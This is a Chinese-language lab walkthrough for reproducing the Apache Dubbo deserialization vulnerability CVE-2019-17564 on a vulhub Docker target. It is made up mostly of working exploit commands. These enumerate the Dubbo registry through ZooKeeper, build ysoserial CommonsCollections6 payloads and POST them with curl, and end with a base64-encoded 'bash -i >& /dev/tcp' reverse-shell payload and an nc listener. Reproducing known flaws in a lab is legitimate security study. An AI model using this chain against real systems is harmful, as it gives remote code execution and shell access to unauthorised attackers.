工具下载
将以下工具下载到攻击机中
ZooKeeper — 输入以下命令,下载完成后解压即可
wget https://dlcdn.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz
ysoserial — 输入下面命令,如果该方式下载不成功直接浏览器访问网站下载
wget https://github.com/frohoff/ysoserial/releases/tag/v0.0.6/ysoserial-all.jar
漏洞复现
准备攻击机kali
,靶机安装有vulhub
的ubuntu
靶机中输入下列命令开启环境
cd dubbo/CVE-2019-17564
sudo docker-compose up -d
sudo docker-compose ps
攻击机终端中输入
nmap 靶机IP -p "*"
发现了2181端口是用于转发服务的,那么其作用可能是用于目标网页进行api服务转发,所以该端口可能包含了registry(远程注册表服务器,一般都是用ZooKeeper作为registry,我们可以尝试通过 zookeeper 进行连接
进入先前下载的 zookeeper 文件夹中,输入命令
bin/zkCli.sh -server 靶机IP:2181
连接成功后,查看其 Dubbo 相关配置以及接口名
ls /
ls /dubbo
ls /dubbo/org.vulhub.api.CalcService
ls /dubbo/org.vulhub.api.CalcService/providers
ctrl+c 退出
这里显示的 172.20.0.3 是容器IP,我们利用工具发送的消息
用 ysoserial
的 payload CommonsCollections6 生成 poc 作为 POST 消息体发送到 http://靶机IP:8080/org.vulhub.api.CalcService
进入先前下载的 ysoserial 中,输入命令
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://靶机IP:8080/org.vulhub.api.CalcService
打开靶机,输入
sudo docker ps
sudo exec -it 容器id bash
ls /tmp
Aapche Dubbo Java反序列化漏洞反弹shell连接
将下列内容进行base64编码
bash -i >& /dev/tcp/靶机IP/端口号 0>&1
打开另一个终端,输入
nc -lvvp 端口号
回到原终端,输入
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > 2.poc
再输入
curl -XPOST --data-binary @2.poc http://靶机IP:8080/org.vulhub.api.CalcService